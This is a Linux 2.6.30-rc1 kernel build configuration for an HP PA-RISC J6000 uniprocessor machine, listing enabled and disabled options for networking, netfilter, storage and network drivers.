Content-Disposition: attachment; filename="config-2.6.30-rc1-b5-J6000-64-UP"

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.30-rc1
# Sat Apr 11 21:56:02 2009
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_IRQ_PER_CPU=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_LOCALVERSION="-b5"
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_TASKSTATS=y
CONFIG_TASK_DELAY_ACCT=y
# CONFIG_TASK_XACCT is not set
# CONFIG_AUDIT is not set

#
# RCU Subsystem
#
CONFIG_CLASSIC_RCU=y
# CONFIG_TREE_RCU is not set
# CONFIG_PREEMPT_RCU is not set
# CONFIG_TREE_RCU_TRACE is not set
# CONFIG_PREEMPT_RCU_TRACE is not set
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=14
# CONFIG_GROUP_SCHED is not set
# CONFIG_CGROUPS is not set
CONFIG_SYSFS_DEPRECATED=y
CONFIG_SYSFS_DEPRECATED_V2=y
# CONFIG_RELAY is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_CC_OPTIMIZE_FOR_SIZE=y
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
# CONFIG_EMBEDDED is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
CONFIG_COMPAT_BRK=y
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_SLOB is not set
CONFIG_PROFILING=y
# CONFIG_MARKERS is not set
CONFIG_HAVE_OPROFILE=y
# CONFIG_SLOW_WORK is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
# CONFIG_MODULE_FORCE_UNLOAD is not set
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_BLOCK=y
# CONFIG_LBD is not set
# CONFIG_BLK_DEV_BSG is not set
# CONFIG_BLK_DEV_INTEGRITY is not set

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_AS=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_AS is not set
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
# CONFIG_64BIT is not set
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
# CONFIG_SMP is not set
CONFIG_ARCH_FLATMEM_ENABLE=y
# CONFIG_PREEMPT_NONE is not set
CONFIG_PREEMPT_VOLUNTARY=y
# CONFIG_PREEMPT is not set
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
CONFIG_FLATMEM_MANUAL=y
# CONFIG_DISCONTIGMEM_MANUAL is not set
# CONFIG_SPARSEMEM_MANUAL is not set
CONFIG_FLATMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
# CONFIG_PHYS_ADDR_T_64BIT is not set
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
CONFIG_UNEVICTABLE_LRU=y
CONFIG_HAVE_MLOCK=y
CONFIG_HAVE_MLOCKED_PAGE_BIT=y
# CONFIG_HPUX is not set

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
# CONFIG_GSC is not set
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
# CONFIG_PCI_LEGACY is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
CONFIG_PCCARD=y
# CONFIG_PCMCIA_DEBUG is not set
CONFIG_PCMCIA=y
CONFIG_PCMCIA_LOAD_CIS=y
CONFIG_PCMCIA_IOCTL=y
CONFIG_CARDBUS=y

#
# PC-card bridges
#
CONFIG_YENTA=y
CONFIG_YENTA_O2=y
CONFIG_YENTA_RICOH=y
CONFIG_YENTA_TI=y
CONFIG_YENTA_ENE_TUNE=y
CONFIG_YENTA_TOSHIBA=y
# CONFIG_PD6729 is not set
# CONFIG_I82092 is not set
CONFIG_PCCARD_NONSTATIC=y
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=y
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=y
CONFIG_XFRM_SUB_POLICY=y
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_XFRM_IPCOMP=m
CONFIG_NET_KEY=y
# CONFIG_NET_KEY_MIGRATE is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
# CONFIG_IP_PNP is not set
CONFIG_NET_IPIP=m
CONFIG_NET_IPGRE=m
# CONFIG_NET_IPGRE_BROADCAST is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
CONFIG_SYN_COOKIES=y
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
CONFIG_INET_IPCOMP=m
CONFIG_INET_XFRM_TUNNEL=m
CONFIG_INET_TUNNEL=m
CONFIG_INET_XFRM_MODE_TRANSPORT=m
CONFIG_INET_XFRM_MODE_TUNNEL=m
CONFIG_INET_XFRM_MODE_BEET=m
CONFIG_INET_LRO=m
CONFIG_INET_DIAG=y
CONFIG_INET_TCP_DIAG=y
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
# CONFIG_IPV6 is not set
# CONFIG_NETWORK_SECMARK is not set
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
CONFIG_NETFILTER_ADVANCED=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_NETLINK=m
CONFIG_NETFILTER_NETLINK_QUEUE=m
CONFIG_NETFILTER_NETLINK_LOG=m
CONFIG_NF_CONNTRACK=m
CONFIG_NF_CT_ACCT=y
CONFIG_NF_CONNTRACK_MARK=y
CONFIG_NF_CONNTRACK_EVENTS=y
# CONFIG_NF_CT_PROTO_DCCP is not set
CONFIG_NF_CT_PROTO_GRE=m
# CONFIG_NF_CT_PROTO_SCTP is not set
CONFIG_NF_CT_PROTO_UDPLITE=m
CONFIG_NF_CONNTRACK_AMANDA=m
CONFIG_NF_CONNTRACK_FTP=m
CONFIG_NF_CONNTRACK_H323=m
CONFIG_NF_CONNTRACK_IRC=m
CONFIG_NF_CONNTRACK_NETBIOS_NS=m
CONFIG_NF_CONNTRACK_PPTP=m
CONFIG_NF_CONNTRACK_SANE=m
CONFIG_NF_CONNTRACK_SIP=m
CONFIG_NF_CONNTRACK_TFTP=m
CONFIG_NF_CT_NETLINK=m
# CONFIG_NETFILTER_TPROXY is not set
CONFIG_NETFILTER_XTABLES=y
CONFIG_NETFILTER_XT_TARGET_CLASSIFY=m
CONFIG_NETFILTER_XT_TARGET_CONNMARK=m
CONFIG_NETFILTER_XT_TARGET_DSCP=m
CONFIG_NETFILTER_XT_TARGET_HL=m
# CONFIG_NETFILTER_XT_TARGET_LED is not set
CONFIG_NETFILTER_XT_TARGET_MARK=m
CONFIG_NETFILTER_XT_TARGET_NFLOG=m
CONFIG_NETFILTER_XT_TARGET_NFQUEUE=m
CONFIG_NETFILTER_XT_TARGET_NOTRACK=m
# CONFIG_NETFILTER_XT_TARGET_RATEEST is not set
CONFIG_NETFILTER_XT_TARGET_TRACE=m
CONFIG_NETFILTER_XT_TARGET_TCPMSS=m
# CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP is not set
# CONFIG_NETFILTER_XT_MATCH_CLUSTER is not set
CONFIG_NETFILTER_XT_MATCH_COMMENT=m
CONFIG_NETFILTER_XT_MATCH_CONNBYTES=m
CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=m
CONFIG_NETFILTER_XT_MATCH_CONNMARK=m
CONFIG_NETFILTER_XT_MATCH_CONNTRACK=m
CONFIG_NETFILTER_XT_MATCH_DCCP=m
CONFIG_NETFILTER_XT_MATCH_DSCP=m
CONFIG_NETFILTER_XT_MATCH_ESP=m
CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=m
CONFIG_NETFILTER_XT_MATCH_HELPER=m
CONFIG_NETFILTER_XT_MATCH_HL=m
# CONFIG_NETFILTER_XT_MATCH_IPRANGE is not set
CONFIG_NETFILTER_XT_MATCH_LENGTH=m
CONFIG_NETFILTER_XT_MATCH_LIMIT=m
CONFIG_NETFILTER_XT_MATCH_MAC=m
CONFIG_NETFILTER_XT_MATCH_MARK=m
CONFIG_NETFILTER_XT_MATCH_MULTIPORT=m
# CONFIG_NETFILTER_XT_MATCH_OWNER is not set
CONFIG_NETFILTER_XT_MATCH_POLICY=m
CONFIG_NETFILTER_XT_MATCH_PKTTYPE=m
CONFIG_NETFILTER_XT_MATCH_QUOTA=m
# CONFIG_NETFILTER_XT_MATCH_RATEEST is not set
CONFIG_NETFILTER_XT_MATCH_REALM=m
# CONFIG_NETFILTER_XT_MATCH_RECENT is not set
CONFIG_NETFILTER_XT_MATCH_SCTP=m
CONFIG_NETFILTER_XT_MATCH_STATE=m
CONFIG_NETFILTER_XT_MATCH_STATISTIC=m
CONFIG_NETFILTER_XT_MATCH_STRING=m
CONFIG_NETFILTER_XT_MATCH_TCPMSS=m
CONFIG_NETFILTER_XT_MATCH_TIME=m
CONFIG_NETFILTER_XT_MATCH_U32=m
# CONFIG_IP_VS is not set

#
# IP: Netfilter Configuration
#
CONFIG_NF_DEFRAG_IPV4=m
CONFIG_NF_CONNTRACK_IPV4=m
CONFIG_NF_CONNTRACK_PROC_COMPAT=y
CONFIG_IP_NF_QUEUE=m
CONFIG_IP_NF_IPTABLES=m
CONFIG_IP_NF_MATCH_ADDRTYPE=m
CONFIG_IP_NF_MATCH_AH=m
CONFIG_IP_NF_MATCH_ECN=m
CONFIG_IP_NF_MATCH_TTL=m
CONFIG_IP_NF_FILTER=m
CONFIG_IP_NF_TARGET_REJECT=m
CONFIG_IP_NF_TARGET_LOG=m
CONFIG_IP_NF_TARGET_ULOG=m
CONFIG_NF_NAT=m
CONFIG_NF_NAT_NEEDED=y
CONFIG_IP_NF_TARGET_MASQUERADE=m
CONFIG_IP_NF_TARGET_NETMAP=m
CONFIG_IP_NF_TARGET_REDIRECT=m
CONFIG_NF_NAT_SNMP_BASIC=m
CONFIG_NF_NAT_PROTO_GRE=m
CONFIG_NF_NAT_PROTO_UDPLITE=m
CONFIG_NF_NAT_FTP=m
CONFIG_NF_NAT_IRC=m
CONFIG_NF_NAT_TFTP=m
CONFIG_NF_NAT_AMANDA=m
CONFIG_NF_NAT_PPTP=m
CONFIG_NF_NAT_H323=m
CONFIG_NF_NAT_SIP=m
CONFIG_IP_NF_MANGLE=m
CONFIG_IP_NF_TARGET_CLUSTERIP=m
CONFIG_IP_NF_TARGET_ECN=m
CONFIG_IP_NF_TARGET_TTL=m
CONFIG_IP_NF_RAW=m
CONFIG_IP_NF_ARPTABLES=m
CONFIG_IP_NF_ARPFILTER=m
CONFIG_IP_NF_ARP_MANGLE=m
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_BRIDGE is not set
# CONFIG_NET_DSA is not set
CONFIG_VLAN_8021Q=m
# CONFIG_VLAN_8021Q_GVRP is not set
# CONFIG_DECNET is not set
CONFIG_LLC=m
CONFIG_LLC2=m
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_PHONET is not set
# CONFIG_NET_SCHED is not set
CONFIG_NET_CLS_ROUTE=y
# CONFIG_DCB is not set

#
# Network testing
#
CONFIG_NET_PKTGEN=m
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
CONFIG_IRDA=m

#
# IrDA protocols
#
CONFIG_IRLAN=m
CONFIG_IRNET=m
CONFIG_IRCOMM=m
CONFIG_IRDA_ULTRA=y

#
# IrDA options
#
# CONFIG_IRDA_CACHE_LAST_LSAP is not set
# CONFIG_IRDA_FAST_RR is not set
# CONFIG_IRDA_DEBUG is not set

#
# Infrared-port device drivers
#

#
# SIR device drivers
#
# CONFIG_IRTTY_SIR is not set

#
# Dongle support
#
# CONFIG_KINGSUN_DONGLE is not set
# CONFIG_KSDAZZLE_DONGLE is not set
# CONFIG_KS959_DONGLE is not set

#
# FIR device drivers
#
# CONFIG_USB_IRDA is not set
# CONFIG_SIGMATEL_FIR is not set
# CONFIG_TOSHIBA_FIR is not set
# CONFIG_VLSI_FIR is not set
# CONFIG_MCS_FIR is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
CONFIG_WIRELESS=y
CONFIG_CFG80211=y
# CONFIG_CFG80211_REG_DEBUG is not set
CONFIG_WIRELESS_OLD_REGULATORY=y
CONFIG_WIRELESS_EXT=y
CONFIG_WIRELESS_EXT_SYSFS=y
CONFIG_LIB80211=m
CONFIG_LIB80211_CRYPT_WEP=m
CONFIG_LIB80211_CRYPT_CCMP=m
CONFIG_LIB80211_CRYPT_TKIP=m
# CONFIG_LIB80211_DEBUG is not set
CONFIG_MAC80211=y

#
# Rate control algorithm selection
#
CONFIG_MAC80211_RC_MINSTREL=y
# CONFIG_MAC80211_RC_DEFAULT_PID is not set
CONFIG_MAC80211_RC_DEFAULT_MINSTREL=y
CONFIG_MAC80211_RC_DEFAULT="minstrel"
CONFIG_MAC80211_MESH=y
CONFIG_MAC80211_LEDS=y
CONFIG_MAC80211_DEBUGFS=y
# CONFIG_MAC80211_DEBUG_MENU is not set
# CONFIG_WIMAX is not set
CONFIG_RFKILL=m
CONFIG_RFKILL_INPUT=m
CONFIG_RFKILL_LEDS=y
# CONFIG_NET_9P is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
# CONFIG_STANDALONE is not set
# CONFIG_PREVENT_FIRMWARE_BUILD is not set
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
CONFIG_PARPORT=m
CONFIG_PARPORT_PC=m
# CONFIG_PARPORT_SERIAL is not set
# CONFIG_PARPORT_PC_FIFO is not set
# CONFIG_PARPORT_PC_SUPERIO is not set
# CONFIG_PARPORT_PC_PCMCIA is not set
# CONFIG_PARPORT_GSC is not set
# CONFIG_PARPORT_AX88796 is not set
CONFIG_PARPORT_1284=y
CONFIG_PARPORT_NOT_PC=y
CONFIG_BLK_DEV=y
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=m
CONFIG_BLK_DEV_CRYPTOLOOP=m
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_UB is not set
# CONFIG_BLK_DEV_RAM is not set
CONFIG_CDROM_PKTCDVD=m
CONFIG_CDROM_PKTCDVD_BUFFERS=8
# CONFIG_CDROM_PKTCDVD_WCACHE is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
CONFIG_MISC_DEVICES=y
# CONFIG_PHANTOM is not set
# CONFIG_SGI_IOC4 is not set
CONFIG_TIFM_CORE=m
CONFIG_TIFM_7XX1=m
# CONFIG_ICS932S401 is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_ISL29003 is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_AT24 is not set
# CONFIG_EEPROM_LEGACY is not set
CONFIG_EEPROM_93CX6=m
CONFIG_HAVE_IDE=y
CONFIG_IDE=y

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
CONFIG_IDE_XFER_MODE=y
CONFIG_IDE_TIMINGS=y
CONFIG_IDE_ATAPI=y
# CONFIG_BLK_DEV_IDE_SATA is not set
CONFIG_IDE_GD=y
CONFIG_IDE_GD_ATA=y
# CONFIG_IDE_GD_ATAPI is not set
CONFIG_BLK_DEV_IDECS=m
# CONFIG_BLK_DEV_DELKIN is not set
CONFIG_BLK_DEV_IDECD=m
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
# CONFIG_BLK_DEV_IDETAPE is not set
CONFIG_IDE_TASK_IOCTL=y
CONFIG_IDE_PROC_FS=y

#
# IDE chipset support/bugfixes
#
# CONFIG_BLK_DEV_PLATFORM is not set
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
CONFIG_IDEPCI_PCIBUS_ORDER=y
# CONFIG_BLK_DEV_OFFBOARD is not set
CONFIG_BLK_DEV_GENERIC=y
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
CONFIG_BLK_DEV_CMD64X=m
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
CONFIG_BLK_DEV_PIIX=y
# CONFIG_BLK_DEV_IT8172 is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
# CONFIG_BLK_DEV_NS87415 is not set
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
# CONFIG_BLK_DEV_SIIMAGE is not set
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_BLK_DEV_TC86C001 is not set
CONFIG_BLK_DEV_IDEDMA=y

#
# SCSI device support
#
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
CONFIG_SCSI_TGT=m
# CONFIG_SCSI_NETLINK is not set
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=m
CONFIG_BLK_DEV_SR_VENDOR=y
CONFIG_CHR_DEV_SG=m
# CONFIG_CHR_DEV_SCH is not set

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_MULTI_LUN is not set
CONFIG_SCSI_CONSTANTS=y
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
CONFIG_SCSI_ISCSI_ATTRS=m
CONFIG_SCSI_SAS_ATTRS=m
CONFIG_SCSI_SAS_LIBSAS=m
CONFIG_SCSI_SAS_ATA=y
CONFIG_SCSI_SAS_HOST_SMP=y
# CONFIG_SCSI_SAS_LIBSAS_DEBUG is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_LIBFC is not set
# CONFIG_LIBFCOE is not set
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_IPR is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_NSP32 is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_SRP is not set
CONFIG_SCSI_LOWLEVEL_PCMCIA=y
CONFIG_PCMCIA_AHA152X=m
CONFIG_PCMCIA_FDOMAIN=m
CONFIG_PCMCIA_NINJA_SCSI=m
CONFIG_PCMCIA_QLOGIC=m
CONFIG_PCMCIA_SYM53C500=m
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
CONFIG_ATA=y
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_SATA_PMP=y
CONFIG_SATA_AHCI=y
# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=y
# CONFIG_SATA_SVW is not set
CONFIG_ATA_PIIX=y
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_SX4 is not set
CONFIG_SATA_SIL=m
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_ULI is not set
# CONFIG_SATA_VIA is not set
# CONFIG_SATA_VITESSE is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_PATA_ALI is not set
# CONFIG_PATA_AMD is not set
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATIIXP is not set
CONFIG_PATA_CMD640_PCI=y
CONFIG_PATA_CMD64X=m
# CONFIG_PATA_CS5520 is not set
# CONFIG_PATA_CS5530 is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
CONFIG_ATA_GENERIC=y
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_TRIFLEX is not set
# CONFIG_PATA_MARVELL is not set
CONFIG_PATA_MPIIX=y
CONFIG_PATA_OLDPIIX=y
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_NS87415 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_OPTIDMA is not set
CONFIG_PATA_PCMCIA=m
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RZ1000 is not set
# CONFIG_PATA_SC1200 is not set
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_PDC2027X is not set
CONFIG_PATA_SIL680=m
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set
# CONFIG_PATA_SCH is not set
# CONFIG_MD is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#

#
# Enable only one of the two stacks, unless you know what you are doing
#
# CONFIG_FIREWIRE is not set
# CONFIG_IEEE1394 is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
CONFIG_COMPAT_NET_DEV_OPS=y
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set
CONFIG_PHYLIB=y

#
# MII PHY device drivers
#
CONFIG_MARVELL_PHY=m
CONFIG_DAVICOM_PHY=m
CONFIG_QSEMI_PHY=m
CONFIG_LXT_PHY=m
CONFIG_CICADA_PHY=m
CONFIG_VITESSE_PHY=m
CONFIG_SMSC_PHY=m
CONFIG_BROADCOM_PHY=m
CONFIG_ICPLUS_PHY=m
# CONFIG_REALTEK_PHY is not set
# CONFIG_NATIONAL_PHY is not set
# CONFIG_STE10XP is not set
# CONFIG_LSI_ET1011C_PHY is not set
# CONFIG_FIXED_PHY is not set
# CONFIG_MDIO_BITBANG is not set
CONFIG_NET_ETHERNET=y
CONFIG_MII=y
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNGEM is not set
# CONFIG_CASSINI is not set
CONFIG_NET_VENDOR_3COM=y
CONFIG_VORTEX=y
# CONFIG_TYPHOON is not set
# CONFIG_ETHOC is not set
# CONFIG_DNET is not set
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
# CONFIG_TULIP_NAPI is not set
CONFIG_DE4X5=m
# CONFIG_WINBOND_840 is not set
CONFIG_DM9102=m
CONFIG_ULI526X=m
